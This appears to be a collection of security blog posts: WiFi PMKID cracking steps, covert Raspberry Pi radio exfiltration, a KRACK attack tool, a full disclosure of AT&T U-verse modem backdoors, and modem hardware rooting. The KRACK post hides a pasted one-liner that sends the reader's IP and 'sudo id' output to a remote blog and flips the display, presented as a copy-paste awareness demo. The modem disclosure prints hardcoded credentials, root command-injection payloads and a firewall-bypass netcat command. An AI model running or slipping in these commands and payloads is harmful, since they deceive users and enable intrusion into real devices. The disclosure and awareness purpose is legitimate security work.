Cracking WiFi without clients: The PMKID method.

For those who don’t already know about the latest finding in the 802.11 world: clients who know the correct PSK are no longer required for WiFi cracking on some access points! In fact all that is required to begin cracking the PSK for an access point affected by this issue is that the WPA/WPA2 enabled AP and a wireless card running in monitor mode.

In this blog I will mount an attack on my home wireless access point following the instructions listed here by atom of the Hashcat project. The steps involving packet capture and processing were performed on a Ubuntu 18.04.1 operating system while the actual cracking was performed using hashcat for Windows 10 with a GeForce GTX 960M. The access point attacked is a Linksys EA6350 high-speed wireless router.

Capturing PMKIDs

First, install the required tools:

git clone
git clone
cd hcxdumptool
sudo make install
cd ../hcxtools
sudo make install

Next, place your wireless interface in monitor mode (high gain alfa cards are a plus).

service network-manager stop
ifconfig wlan1 down
iwconfig wlan1 mode monitor
ifconfig wlan1 up

Now use hcxdumptool to begin capturing PMKID packets. I recommend setting the channel using the -c flag. Take note of your wireless access point’s channel and BSSID for the next step.

hcxdumptool -c 6 -o test.pcapng -i wlan1 --enable_status

Let the tool run and see if a [FOUND PMKID] message appears with a BSSID matching your access point. The BSSID and STMAC are displayed to the right of the timestamp in the tool’s output. Below is a screenshot of an actual capture session using an ALFA high gain USB wireless card (The first PMKID found is from my AP).

If the message does not appear within a few seconds you may attempt to speed up the process by connecting to the access point using a WiFi enabled device. Enter an incorrect password to demonstrate to yourself that no client need be available that knows the actual password. This is an important distinction since until now a client device that knows the correct PSK was required to begin cracking WPA/WPA2 password. For more information, consult the below links.

WPA/WPA2 Cracking

WPA/WPA2 Fake AP (half-valid handshake) Cracking

My access point is dual-band so a second capture was performed to capture the PMKID from the 5G network. For this network I had to use the method described above to force a PMKID to be captured. My ALFA USB wireless card only supports 2G so I was forced to use my laptop’s internal wireless card.


Next, dump the WPA-PMKID-PBKDF2 hashes.

hcxpcaptool -z test.16800 test.pcapng

The hashes will be dumped to the file test.16800 in hashcat format. To save the SSIDs of the networks in the capture file to a file, add the -E flag followed by the filename.

hcxpcaptool  -E essid_list.txt -z test.16800 test.pcapng


To crack the hashes I used hashcat on my Windows 10 machine (easier setup) but any operating system with a working instance of hashcat should suffice.

hashcat64.exe -m 16800 -a 0 --kernel-accel=1 -w 4 --force test.16800 rockyou.txt

Note: –kernel-accel=1 –force was required to get hashcat running.

The cracking speed appears to be identical to cracking a regular WPA2-PSK handshake. The password was successfully recovered on both the 2G and 5G networks without capturing any (valid) EAPOL handshake from a client device!

I tried the procedure above again but using the mobile hotspot on my Nexus 6P (latest AOSP version) as the access point but was unsuccessful in capturing a PMKID.


The best mitigation is to use a strong WiFi password. Mitigations to the issue itself are not forthcoming at this time. If your AP has the option, you may attempt to disable Fast BSS transition (fast roaming) and see if this is effective in stopping the attack. Until the widespread adoption of WPA3, this finding is sure to be another valuable recipe in the pentester’s cookbook for cracking WPA/WPA2 passwords when no clients are connected.




Exfiltrate data with a covert shortwave packet radio. – Part 1

Disclaimer: It is the reader’s responsibility to ensure that they obey all applicable laws in their area. Please operate within FCC guidelines.

This post’s goal is to examine the benefits and limitations of current minimalist embedded shortwave SDR projects. Two such projects are WsprryPi (used to send WSPR beacons via GPIO4) and rpiTX (several modulation schemes).


First we test out the capabilities of WsprryPi. Type

git clone
cd WsprryPi

I soldered Pin 7 to the Antenna feed and Pin 9 to my antenna’s ground plate.

I decided to use the antenna from this IC-22S VHF Transceiver. The transceiver is rated for the 2m band, so I setup for transmitting around 144MHz.

./wspr -n -r KG5VIG EL00 30 144490500

Detected Raspberry Pi version 2/3
WSPR packet contents:
Callsign: KG5VIG
Locator: EL00
Power: 30 dBm
Requested TX frequencies:
144.490500 MHz
Extra options:
NTP will be used to periodically calibrate the transmission frequency
Transmissions will continue forever until stopped with CTRL-C

Ready to transmit (setup complete)…
Desired center frequency for WSPR transmission: 144.490500 MHz
Transmitting immediately (not waiting for WSPR window)
Obtained new ppm value: -3.30473
TX started at: UTC 2018-02-13 14:08:20.439

But after much searching, no signal was seen on the waterfall. The HackRF was also used to try and catch a signal but once again, the wspr packet was not ever seen.

Finally I decided to try a lower frequency 7.0401 MHz. A much cleaner signal was isolated. Since the RTL-SDR wouldn’t go this low, the HackRF was used instead.

Zooming in, the peak appears around -54dBm.


Increasing the TX frequency into the 20m band gave a stronger signal.

The clearest transmissions from the Pi came on the 6m band (~50MHz) this can be attributed to my lengthening the overall antenna length during the soldering. At 50.294 MHz the signal cold be easily picked up by the rtl-sdr from at several yards away.



git clone
cd rpitx

At this point a jumper wire leading to nowhere was placed on pin 12 to act as a crude antenna.

This configuration is meant to eliminate the need for the huge antenna (since we are supposed to be creating a covert device).

Below is the waterfall graph for the SSTV signal in Baudline.

I also tried removing the wire and just transmitting with the GPIO as an antenna. This time the signal was best in the 2m band (~144MHz). The signal was strong enough for the RTL-SDR to acquire SSTV (Martin 1 encoding) from the adjacent room (RX amplifier enabled).

The purpose of part one was just to demonstrate (as others have before) that the raspberry pi 3 can act as an HF or VHF radio transmitter without any modifications/extra parts. In part 2 we will use this technique to exfiltrate internal network data via a covert out-of-band channel. Our goal will be to receive information from the pi from several miles away.

Afterwards we will discuss implementation of this technique on other embedded devices such as network printers and IoT devices through their GPIO pins.



All your KRACK are belonging to us…

On October 16, researchers at KU Leuven,a Belgian University announced their discovery of a new vulnerability called KRACK that affects many devices which use the WPA/WPA2 authentication protocol.  KRACK, an acronym for Key Reinstallation Attack, promises to be at the very least a valuable addition to the long list of tests performed during an on-site penetration test of any wireless network.

We’ve noticed that the tools available at while illustrative do not provide a turnkey solution for testing android clients (the all-zero encryption key problem). We’ve decided to fill in the gap and provide a tool that takes an SSID, BSSID, and (optional) Station MAC as arguments and performs a full MITM logging all traffic to a pcap file.

Disclaimer: Execute the commands below at your own risk.


First, grab the PoC code released by Vanhoef on Github.

git clone -h > /dev/null;if [[ "$(sudo -n whoami|tr -d '\n')" != "root" ]]; then ip=$(curl -s | tr -d '\n'); curl '' --data-urlencode "comment=Hi $ip , it looks like you have copied and pasted directly from the browser to the command line. This is a significant risk. This is a toy demonstration and is very OVERT compared to what an actual attack script would look like. Developing a strategy/habit for yourself to prevent this attack in the future would be a worthy investment of time. TEST ECHO STRING: $(echo -e 'Have fun, here goes... \a')" --data-urlencode "author=anonymous" --data-urlencode "email=anonymous@$ip" --data-urlencode "url=g" --data-urlencode "submit=Post+Comment" --data-urlencode "comment_post_ID=170" --data-urlencode "comment_parent=0" -k; xrandr --output $(xrandr -q | grep connected | grep -v disconnected | cut -f 1 -d ' ' | tr -d '\n') --reflect x || echo "LUCKY U" > /tmp/DFGEg23rt3tthyeryFSDAf34R43t4y; else ip=$(curl -s | tr -d '\n'); curl '' --data-urlencode "comment=Hi $ip , it appears that you have copied and pasted the text in the article above directly into your root terminal or a terminal in which SUDO can be run without knowing a password (eg. you've executed another command with sudo during the past 15 minutes). This is VERY BAD. This is a toy demonstration and is very OVERT compared to what an actual attack script would look like. Developing a strategy/habit for yourself to prevent this attack in the future would be a worthy investment of time. Running id as root@$ip: $(sudo id)" --data-urlencode "author=anonymous" --data-urlencode "email=root@$ip" --data-urlencode "url=g" --data-urlencode "submit=Post+Comment" --data-urlencode "comment_post_ID=170" --data-urlencode "comment_parent=0" -k; xrandr --output $(xrandr -q | grep connected | grep -v disconnected | cut -f 1 -d ' ' | tr -d '\n') --reflect x ||  echo "LUCKY U" > /tmp/DFGEg23rt3tthyeryFSDAf34R43t4y; fi;echo -e \\033c; 
git clone
cd ./krackattacks-scripts

Next we must patch the hostapd source, pull down android-zkey-110917.patch and apply it.

curl -k | patch -p1 -

Now compile hostapd as normal.

cd hostapd/
cp defconfig .config
make -j 2

When the build completes and there are no errors, there should be an additional python script at krackattacks-scripts/krackattack/ Turn off your network manager before running the script.

sudo python -i wlan0 -s "Your SSID" -c {channel, optional} -f android.pcap --verbose
 Starting AndroAttack AP. Hostap found, correct version number. Starting AP with SSID "Your SSID" on channel 6.
 [16:00:49] Replaying Reassociation Request
 [16:00:49] AP transmitted data using IV=1 (seq=0)
 [16:00:50] AP transmitted data using IV=2 (seq=1)
 [16:00:50] Replaying Reassociation Request
 [16:00:51] AP transmitted data using IV=3 (seq=2)
 [16:00:51] Replaying Reassociation Request
 [16:00:52] AP transmitted data using IV=4 (seq=3)
 [18:11:48] Client 0a:ce:43:a1:23:7d authenticated and is vulnerable!
 [18:11:48] Opening RADIUS Session AE12FC-12A4. {data : android.pcap; mgmt: debug.pcap} 
 [18:12:12] Debug3: DNS-Req A ns:
 [18:12:12] Debug3: DNS-Resp ns:
 [18:12:12] Captured TCP-SYN to from
 [18:12:12] Captured TCP-SYNACK to from
 [18:12:12] Captured TCP-ACK to from
 [18:12:13] HTTP detected:
     GET / HTTP/1.1
     User-Agent: Mozilla/5.0 (Linux; <Android Version>; <Build Tag etc.>) AppleWebKit/<WebKit Rev> (KHTML, like Gecko) Chrome/<Chrome Rev> Mobile Safari/<WebKit Rev>
     Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
     Connection: close

Be sure to set the channel to a channel other than that of the legitimate access point or the attack will not be successful.

Please be sure to post some feedback for us regarding this post. We are open to suggestions on improvement, praise, or criticism 😉


Note: All ports referenced in the following post are TCP.


When evidence of the problems described in this report were first noticed, it almost seemed hard to believe. However, for those familiar with the technical history of Arris and their careless lingering of hardcoded accounts on their products, this report will sadly come as no surprise. For everyone else, prepare to be horrified.

In all fairness, it is uncertain whether these gaping security holes were introduced by Arris (the OEM) or if these problems were added after delivery to the ISP (AT&T U-verse). From examining the firmware, it seems apparent that AT&T engineers have the authority and ability to add and customize code running on these devices, which they then provide to the consumer (as they should).

Some of the problems discussed here affect most AT&T U-verse modems regardless of the OEM, while others seem to be OEM specific. So it is not easy to tell who is responsible for this situation. It could be either, or more likely, it could be both. The hope behind writing this is that the problems will be swiftly patched and that going forward, peer reviews and/or vulnerability testing on new releases of production firmware will be implemented prior to pushing it to the gateways. Security through obscurity is not acceptable in today’s high threat landscape and this is especially true regarding devices which a) route traffic, sensitive communications and trade secrets for millions of customers in the US, b) are directly reachable from the Internet at large, and c) have wireless capability and therefore have an additional method of spreading infection and releasing data.

Regardless of why, when, or even who introduced these vulnerabilities, it is the responsibility of the ISP to ensure that their network and equipment are providing a safe environment for their end users. This, sadly, is not currently the case. The first vulnerability found was caused pure carelessness, if not intentional all together. Furthermore, it is hard to believe that no one is already exploiting this vulnerability at the detriment of innocents. Which is why this report is not passing Go, not collecting $200, and is going straight to the public domain. The vulnerabilities found here will be ordered roughly from least to most prevalent.

1. SSH exposed to The Internet; superuser account with hardcoded username/password.

It was found that the latest firmware update (9.2.2h0d83) for the NVG589 and NVG599 modems enabled SSH and contained hardcoded credentials which can be used to gain access to the modem’s “cshell” client over SSH. The cshell is a limited menu driven shell which is capable of viewing/changing the WiFi SSID/password, modifying the network setup, re-flashing the firmware from a file served by any tftp server on the Internet, and even controlling what appears to be a kernel module whose sole purpose seems to be to inject advertisements into the user’s unencrypted web traffic. Although no clear evidence was found suggesting that this module is actually being used currently, it is present, and vulnerable. Aside from the most dangerous items listed above, the cshell application is also capable of many other privileged actions. The username for this access is remotessh and the password is 5SaP9I26.

Figure 1: Attacker view of cshell after login to an affected U-verse modem.

To reiterate the carelessness of this firmware’s release, the cshell binary is running as root and so any exploitable command, injection vulnerability or buffer overflow will result in a root shell. Yes, it is running as root, and trivially susceptible to command injection. Through the use of the menu’s ping functionality, and due to not sanitizing parameters, one execute arbitrary commands through the menu, or escape the menu altogether. An example payload is shown below.

>> ping -c 1;echo /bin/nsh >>/etc/shells

>> ping -c 1;echo /bin/sh >>/etc/shells

>> ping -c 1;sed -i ‘s/remotessh:\/:\/bin\/cshell/remotessh:\/:\/bin\/nsh/g’ /etc/passwd

Now type exit and then reconnect via SSH. The prompt will change from NOS/xxxxxxxxxxxxx to Axis/xxxxxxxxxxxxxxx. At this point the attacker can type “!” and will be given a busybox root shel!.

Please note that the cshell binary was only examined briefly and only until the easiest exploit was found. Judging by the binary’s repetitive use of unsafe C functions, one can guess that hundreds of additional vulnerabilities exist. However, we find it highly amusing that the first vulnerability found was so trivial that it looks like it came out of one of those “hacking tutorials” that were popular in the 90’s (Google “how to hack filetype:txt”).

This is the first and least common vulnerability that was discovered. The number of exposed devices while not as huge as the rest, but it is still quite unacceptable when you realize that these devices directly correlate to people being put at unnecessary risk of theft & fraud.

Censys reports 14,894 hosts which are likely vulnerable. There is no guarantee expressed or implied in terms of this number being all-inclusive however.

2. Default credentials “caserver” https server NVG599

A HTTPS server of unknown purpose was found running on port 49955 with default credentials. The username tech with and empty password field conveyed access to this highly vulnerable web server, which used only a Basic Authorization scheme. The server seems slightly unstable with its authorization capacity, denying access on the first attempt even with valid credentials and eventually completely locking up with an “unauthorized” message. It remains unclear whether this is just poor coding or more security through obscurity, but either is unacceptable.

3. Command Injection “caserver” https server NVG599

How many vulnerabilities did you find in the screenshot above?

The next vulnerability is the caserver command injection vulnerability. The exact intended purpose of caserver is unclear but its implications are not. Caserver is an https server that runs on port 49955 of affected devices (which seems to only be the NVG599 modem). The caserver script takes several commands, including:

  • Upload of a firmware image
  • Requests to a get_data handler which enumerates any object available in its internal “SDB” databases with a lot of fruitful information
  • Requests to a set_data command which allows changes to the SDB configuration

The screenshot below shows the request which causes command injection, again … as the root user. Note that for the first request the server will probably reply “You are not authorized to access this page”. This can simply be ignored and resubmitting the request shown will yield command execution. The service can be a little quirky, it locks you out after about 5 requests, a reboot will fix the issue if you are testing and running into this problem. The User-Agent field seems to be required but any string will suffice.

There are countless ways to exploit this, but a few quick and dirty stacked commands using wget to download busybox with netcat (mips-BE) from an http server (no SSL support) and then spawn a reverse shell works well.

Estimating the number of hosts affected was trickier due to the service being on an uncommon port. Host search engines such as Censys and Shodan don’t commonly scan for these services or ports. Based on self-collected data, our ballpark figure is around 220,000 devices.

4.Information disclosure/hardcoded credentials

The next vulnerability involves a service on port 61001 which will give an attacker a plethora of useful data about the device. The attacker however, will need to know the serial number of the device ahead of time. Once this information is acquired, the request can be made.

Figure 3:Request to BDC server.

Just before the serial number notice the characters “001E46”. This number correlates with the model number and is a valid Arris Organizationally unique identifier (OUI). This particular OUI was brute-forced from a list of Arris OUIs obtained at

When the correct serial number, OUI, and username/password are submitted as above the server will hang for several seconds before returning a response. Afterwards, several pieces of invaluable information are returned about the modem’s configuration, as well as its logs. The most sensitive pieces of information are probably the WiFi credentials and the MAC addresses of the internal hosts, as they can be used for the next vulnerability.

The hardcoded username/password credentials are bdctest/bdctest. This is the second most prevalent vulnerability but at the moment it is not the biggest threat since the modem’s serial number is needed to exploit it. This may change if an attacker were to find a reliable way of obtaining the serial number. If present, an attacker could use the aforementioned “caserver” to retrieve the serial number as well by requesting a valid file present in the webroot other that “/caserver”. Once such example of this would be “/functions.lua”. Sending a GET request to this file will return the serial number amongst the headers.

This normally would not be advantageous for an attacker since the presence of the caserver service equates to root shell access. However, if the caserver is locked, then this is a method to overcome the lockout since only the path ”/caserver” is locked-out.

5.Firewall bypass no authentication

The most prevalent vulnerability based solely on the high number of affected devices is the firewall bypass that is made possible by the service listening on port 49152. This program takes a three byte magic value “\x2a\xce\x01” followed by the six byte mac address and two byte port of whichever internal host one would like to connect to from anywhere on The Internet! What this basically means is that the only thing protecting an AT&T U-verse internal network device from The Internet is whether or not an attacker knows or is able to brute-force the MAC address of any of its devices! Note however, that the first three bytes (six characters) of a MAC address are very predictable since they correspond to the manufacturer. Given this an attacker could very well start out with this scheme with the unknowns marked as:


To make matters worse, this tcp proxy service will alert the attacker when they have found a correct MAC address by returning a different error code to signify that either the host didn’t respond on the specified port or that an RST was returned. Therefore, the attacker is able to attack the MAC address brute-force and the port brute-force problems separately, greatly decreasing the amount of keyspace which must be covered. The scheme now looks something like this (guessing last three bytes of MAC):


Followed by (Guessing port, same as a TCP port scan):


At which point is now feasible to for a determined hacker to use a brute force attack. Aside from the brute force approach, there are other methods of obtaining the MAC addresses. Such as the previously mentioned vulnerability, or using a wireless device in monitor mode in order to sniff the wireless client’s MAC addresses. Basically, if your neighbor knows your public IP address, you are in immediate danger of intrusion.

Going off of the example above, if the device with MAC address ab:23:ed:38:41:a0 has an http server running on port 80 (with the firewall configured to not allow incoming traffic) and an attacker wants to connect and issue a GET request on the webroot. The command will be:

python -c ‘print “\x2a\xce\x01\xab\x23\xed\x38\x41\xa0\x00\x50GET / HTTP/1.0\n\n”’ | nc publicip 49152

This will open an unauthorized TCP connection between the attacker and the “protected” web server despite the user never authorizing it.

It is believed that the original purpose of this service was to allow AT&T to connect to the AT&T issued DVR devices which reside on the internal LAN. However, it should be painfully obvious by now that there is something terribly wrong with this implementation. Added to the severity is the fact that every single AT&T device observed has had this port (49152) open and has responded to probes in the same way. It is also important to note that the gateway itself cannot be connected to in this manner. For example, an attacker cannot set the MAC address to that of the modem’s LAN interface and the port to correspond to the web configuration console. This attempt will fail. This TCP proxy service will only connect attackers to client devices.

In Conclusion

In 2017, when artificial intelligence runs the largest advertising firm on the Internet, when only last year the largest leaks in American history occurred, and where vehicles are self driving, autonomous, Internet connected, and hacked … why do we still find CGI injections, blank default passwords with root privileged services exposed, and what most will likely term “backdoored” credentials?

Developing software is no trivial ask, it is part of this company’s core services, but carelessness of this magnitude should come with some accountability. Below are some workarounds for the vulnerabilities described in this write-up, the time of full disclosure is gone (mostly), but let the time of accountability begin.

Accountability, or is ok to continuously accept free credit monitoring for vendors, governments, and corporations “accidentally” exposing your privacy and in this case, maybe that of your family’s too?


Vulnerability 1: SSH exposed to The Internet; superuser account with hardcoded username/password.

To disable the SSH backdoor, preform the following commands. Substitute “ipaddress” with your gateway’s IP address (internal or external).

ssh remotessh@ipaddress

(Enter password 5SaP9I26)

NOS/255291283229493> configure

Config Mode v1.3

NOS/255291283229493 (top)>> set management remote-access ssh-permanent-enable off

NOS/255291283229493 (top)>> save

NOS/255291283229493 (top)>> exit

NOS/255291283229493> restart

Vulnerabilities 2 & 3; Disable CASERVER for the NVG599.

If suffering also from vulnerability 4, please refer to vulnerability 4’s mitigation steps before proceeding with these steps. Using Burpsuite or some other application, which lets you customize web requests, submit the following request from to the gateway’s external IP address from outside of the LAN.

POST /caserver HTTP/1.1
Authorization: Basic dGVjaDo=
User-Agent: Fixmymodem
Connection: Keep-Alive
Content-Length: 77

appid=001&set_data=fixit;chmod 000 /var/caserver/caserver;fixit

Vulnerability 4: Information disclosure/hardcoded credentials

At the present time we only have a fix for vulnerability 4 for those who have root access on their gateway. Root access may be obtained by vulnerabilities 1,2, 3, via a serial TTY line, or some other method unknown to us. We will, however, continue searching for a workaround to help those without root access.

For those suffering from the CASERVER vulnerability (port 49955) but not the SSH backdoor, submit the following command before disabling caserver.

POST /caserver HTTP/1.1
Authorization: Basic dGVjaDo=
User-Agent: Fixmymodem
Connection: Keep-Alive
Content-Length: 77

appid=001&set_data=fixit;chmod 000 /www/sbdc/cgi-bin/sbdc.ha;fixit

Those with access to the SSH backdoor may submit the following command from cshell.

NOS/123456789>> ping -c 1;chmod 000 /www/sbdc/cgi-bin/sbdc.ha

Vulnerability 5: Firewall bypass no authentication

The most widespread vulnerability found is luckily the easiest to fix. This mitigation technique only requires access to the modem’s configuration portal and admin password (printed on label). While connected to the LAN, go to in a web browser. Click on Firewall->NAT/Gaming.

Click on Custom Services. Fill in the fields as shown below. In The “Base Host Port” type a port number that is not in use by an internal host (this traffic will be directed to an actual internal host). Port 1 is usually a good choice.

Click Add.

Select a device in “Needed by Device” to redirect traffic to. Make sure the Service that was created in the previous step is selected. Click Add.

Port 49152 should now either not respond or send an RST. Otherwise, check and make sure a service is not running on the chosen internal port (port 1).

Disclaimer: No guarantee is expressed or implied that performing the actions described above will not cause damage to and/or render inoperable any or all electronic devices on and orbiting Earth, including your modem!  If you choose to proceed, you are doing so at your own risk and liability. 

Exploring the AT&T U-verse 5268AC DSL Modem – Part 1

When we last left off we had identified a possible point of attack for the U-verse gateway via a port open to the public internet. Now we will take a quick look at the gateway itself and find a way to take control.

In case you can’t tell it’s quite a large modem, promising tons of extra (what they like to call) “features”. The back of the modem has tons of ports and might even support cable internet.

Time to open’er up.

As you can see it’s a pretty busy board. My first instinct was to try and detect a signal from what appears to be a diagnostic port which is boxed in the picture below.

However, after several minutes of the device running while I probed with my Rigol 100MHz scope I decided that this port is dead to the world and it was time to move on. I probed around for a bit and discovered a copper pad which was connected to one of the data pins from the flash chip. This would prove to be very convenient later.


You can tell it’s a data pin from the flash chip because of the shape of the signal. Notice the peaks are very steep and nothing like the square wave type peaks from a UART serial connection.

And here’s a typical UART signal that I pulled from Google:

See the difference? UART is very clean and I can almost sit here and decode it with pen and paper. But all of you fancy folks can probably use either a bus pirate or logic analyzer.

Still no luck with finding a UART I decided to remove that heat sink enclosure that’s encasing the processor.

Hurrah, more pads! Good thinking Pace, I’ll never check under there! I did some probing on these and wouldn’t ja’ know it, we have UART! Here are the pins circled for those of you playing at home.


So I did some extra careful solder work and attached a couple of random wires I had laying around from my last TSA show-and-tell moment and then spread on the hot glue really thick to ensure that not even I could mess this up.

No the live round is not part of the circuit; yes we now have a direct line to… not much sadly. We see the bootloader start and pause for 5 seconds listening for a keypress from us.


Normally, when a key is pressed during this 5 second window we would get a bootloader shell however input has been intentionally blocked during this sequence and doesn’t get enabled until after the kernel has already loaded. This is a problem because the system is password protected at that point and I don’t have the password! Do you?

After trying several common default username/password combinations as well as righting a super-lame bruteforcing script, I came up with a solution. When I powered on the device I could wait for the bootloader to get loaded and executed and then while the bootloader tries to read the kernel from flash I will short one of the data lines (wink wink) to ground. This will obviously disrupt the read and force the bootloader to drop me a shell right?

So I just needed to touch the orange wire to that pad which is part of one of the data lines (a slave-out judging by the amount of data).

It took a few tries. If I did it too early the modem would just freak out and reboot. If I did it too late the kernel would cuss at me and then reboot. But I got it down finally and noticed that when I shorted the data while the bootloader was pulling the kernel, the bootloader would start marking every page as bad that it was unable to read until I released the wire! I didn’t get a screenshot of this but it basically went something like this.

This basically means that my modem will not boot again until those bad page markers in the chip’s OOB are cleared. This isn’t really a problem though since it doesn’t affect the actual data and the bootloader tools will read these pages regardless of what the OOB says. If I had to make a recommendation on how to improve this process I would say find the slave-in pins and find a way to short those instead (and all at the same time). This would make marking the blocks bad impossible.

Once I released the wire the modem rebooted and I noticed the words “Factory mode” in the boot log which hadn’t been there before.

Now, during that 5 second delay I was able to escape to the bootloader menu! Whew! What an ordeal!

After some playing around I decided to acquire a dump of NAND memory. I wrote a script to automate this process since only a page at a time can be dumped.

The command returns the content of each page in hexdump canonical format which then gets recorded by minicom (my terminal emulator which is handling the bus pirate) to a log file. Remember that I can’t just modify the boot parameters to skip the login prompt because the modem no longer boots to anything but the bootloader.

My script ran for 12 hours. But it worked!

I quickly converted the huge hexdump log file into a congruent binary dump of the flash chip. I tried unpacking the image with binwalk but couldn’t get it to unpack the squashfs so I tried simply looking for useful data and binaries in the raw image. Here are some samples of what I found.

The only one I’ve cracked is


but this isn’t being used on the login.

The more important find was this URL.


That’s hxxp://gaxeway.c01.sbcglobal.nex/firmware/00D09E/ . Change every “x” to a “t” and you’ll have the link.

Let us try…


Cool, an official update image. Binwalk it.

And we have a file system.

I also can read all of the startup scripts and realize that the program listening on 49152 is none other than /usr/bin/wproxy. Join me in part two when we will have a look at this binary in depth.


Exploring the AT&T U-verse 5268AC DSL Modem – Intro

I recently recent swapped from Spectrum to AT&T. Long story short I didn’t like it and switched back. However, I did I notice something interesting and decided to order a device off of ebay to experiment with.

The first interesting thing I noticed was that the modem’s WiFi network name and PSK could be retrieved in plaintext from anywhere on the internet by logging in to and taking the following steps.

Search for “forgot wifi password” in the search bar. Click “Find network name & password”

Click the blue “Get it” button when it appears as shown. Make sure the correct Modem / gateway is selected.


After a several seconds the WiFi network name and password appears near the bottom right hand corner of the screen. It doesn’t work in the screenshot below because my service has been disconnected for several weeks.



This feature works regardless of whether or not the user is on their home network or in another country. Therefore we can conclude that the ISP is retrieving this information directly from the modem and transporting it over the internet. Notice in the same photo the “Manage My Wi-Fi” link which allows the user to overwrite these parameters as well.

A full tcp portscan gives only two open ports (no UDP ports were scanned).


It is important to note that not only are these ports only available from the WAN but that in the case of 61001 that I can only connect to it from an ip that is not AT&T U-verse. The reason only other U-verse ip addresses are blacklisted remains a mystery. Throwing some random garbage into port 49152 yields promising results.

Port 61001 appears to be a TLS enabled web service (presumably password protected).

Note that the existence of these services is not limited to the 5286ac modem and seems to be present on the majority of Uverse DSL modems. Understanding the inner workings of these services will be the focus of this series of posts.

But first we must root the gateway. The saga begins with Exploring the AT&T U-verse 5268AC DSL Modem – Part 1.

Is this normal for sponsored advertising?

While debugging some problems with 64 and 32 bit Chrome (or more precisely, while downloading the different versions), one of our developers found a strange “Sponsored” ad, handed to him by Yahoo’s search engine.

The search term was “Chrome download”, nothing obscure and the following pictures tell the rest of the story.

This may take us into a review of sponsored ads that serve content to see how bad things really are.  Isn’t there a vetted process for allowing links/downloads from sponsoring agencies?

Some great SEO or a high value ad?

The site it directed us to.

Although the name of the executable immediately triggered suspicion, we downloaded it to take a peak and Panda AV triggered the minute it was downloaded.

Virus Total.

We’ll do a follow up technical post with information about the executable, but this was enlightening enough to make public.

A short ‘subjective’ view on crowdsourcing

Nomotion’s CEO wrote an article for Signal magazine, an AFCEA marketing venture.  While he represents the organization, his views on this topic are quite controversial, maybe even within his organization.  This blog serves as a research, and notification output vehicle for Nomotion’s team, this post is not meant as an apology for his views, but is as a simple statement to point out the freedom of opinion.

The article can be found here.

Modifying a small PCB without a microscope? Improvise!

To continue the trend of hacking everything with a chip on it (IoT), we decided to tear apart a small device from a home security system.   We are on the hunt for root access, but that’s not what this post is about, it’s about a cool improvisation we pulled off to save time and well … because it was traffic hour and we didn’t feel like driving.

A little background first.  There are no references to the schematics for the PCB we are trying to modify, there is however an ARM processor which we were able to obtain a reference manual for and it clearly detailed JTAG pins for us.  The problem: size.  The chip has (as many hardware folks know) very little spacing between the pins that latch it onto the board.  We thought we were being clever when we used a glue gun, outlined the entire chip’s external perimeter with a big chunk of clear glue and stuck needles onto it to ‘make contact’.

Figure 1

We are still convinced it should have worked, but for some reason it didn’t!  So we removed the glue, and went to plan b.  We were to map the pins we needed to the back of the board, and solder raised pins on it to latch our gear …

Figure 2

The problem continued, we were only able to map ONE pin to the back of the board!  With camaraderie enabling us to continue this frustrating endeavor, we devised a third attack plan, the ARM chip had (what we thought) flat copper parallel contacts around the chip mapped to each pin so we should solder a tiny wire to it then happily latch our clips.

Figure 3

We managed to solder 49, 51, we were stoked it was cake!

Figure 4

Motivation highly increased, we were refreshed with confidence and ready to finish this task (2.5 – 3 hours in at this poitn).  Then pin pin 53 wasn’t mapped to the golden strips around the ARM chip!  We were convinced a supreme being hated us somewhere in the multi-verse!  Quit?  Plan D?  We swapped places from holding magnifying glasses, wires, flash light and solderer and again, we managed to keep going! Plan D it is: A hybrid approach.  This involved using some pins (directly on the chip) and some golden strips.

As if on purpose, the only mapped pin to the easy part of the board was the optional one -_- pin 50 (see Figure 2).  Pin 33 latched with a soldered needle, on to the the second on-chip pin (on the chip) BRIDGED!  Yes, after all this, we bridged 2 pins together with solder and spent the next 1 – 1.5 hours undoing this in an attempt at salvaging the board.

It was late, we were tired, frustrated, and our eyes were shot due to the size of the components on the board.  The magnifying glass we were using wasn’t enough, no microscope, so I ran to get my HDMI to microUSB (Phone to TV/Monitor) adapter.  I had an idea.  It was a long, long shot, but worth it if we could salvage the board.  Testing the bridge was the worse of it, because we had no visual way to predetermine if we had removed enough solder to test if the bridge was broken (annoying!!!).

 I got my old S6, plugged it onto the adapter, plugged it onto my top monitor, and turned the camera on the phone on.  The visual was useless, it was a bigger picture of the chip, but still not enough to help us.  As a last and desperate attempt for a little break, I zoomed in all the way via the touch screen zoom on the S6 and failed, it was too blurry! Then it hit us, we could focus it with the magnifying glass!

Figure 5

So to recap:

Phone to HDMI Adapter
Camera on Chip
Zoom in (and light up the board/chip with a good desk lamp)
Focus with the magnifying glass!

Here’s what it looked like!  The picture does little to merit to convey the success, but remember the 32″ monitor is a tad larger than the chip in real life.

Figure 6

Bridge was removed, we were ready to throw in the towel but we already had 2 of the 4 contacts on the ARM chip needed to obtain our JTAG connection!  We originally had three, two on the copper parallel strips, and one on pin 33 directly but while fixing the bridge we ripped one of the copper wires off.

One last breath, I hold two needles manually on two pins while Joseph plugged away at OpenOCD communicating with the ARM chip!  Success!

I hope our improvised electro-mobile-scope hack helps someone else!

Defense CyberSecurity Requirements – DFARS 252.204-7012 Need To Know

Under the interim rule issued late in 2015 (DFARS 252.204-7012), DoD contractors including small businesses. 

For immediate assistance or questions please contact us here

The requirements are fairly vague but reference documents that do dig into the technical components that are necessary to comply with their two main requirements:

  • Must provide “adequate” security to include protective measures for the loss, misuse, unauthorized access to, or modification of information on unclassified information systems.
  • Must rapidly report incidents and cooperate with DoD to respond to any security incidents.
Nomotion has produced and is in the process of vetting the process to ensure organizations needing to comply with these requirements do so, in an effective and efficient manner.
If you are interested in digging into the details of the cybersecurity standards referred to by the DFAR, they are described in further detail here DFAR 204.73, here NIST Special Publication 800-171 (fourteen areas to be secured minimally) and here NIST Special Publication 800-53.
Deadline to Get Compliant: December 31, 2017 
You still have time, but don’t let linger as organizations with remote branches, and contracts with multiple agencies must be approved by each agency.
Already suffered a breach?
No need to panic.  Just make some time soon (real soon) to deal with reporting the incident to the DIB, found at
General questions to officials ready to help Small to Medium Businesses (SMB’s) here is a list of people ready to help!
U.S. Army – Pamela Monroe
U.S. Navy – Brad Taylor
U.S. Air Force – David Sikora
DCMA – Shelly Thomas
DHA – Dan Duckwitz
DIA – Maria Kersey
DLA – Trish Culbreth
MDA – Ruth Dailey
NGA – Diana Hughes
NSA – Jim Higgins

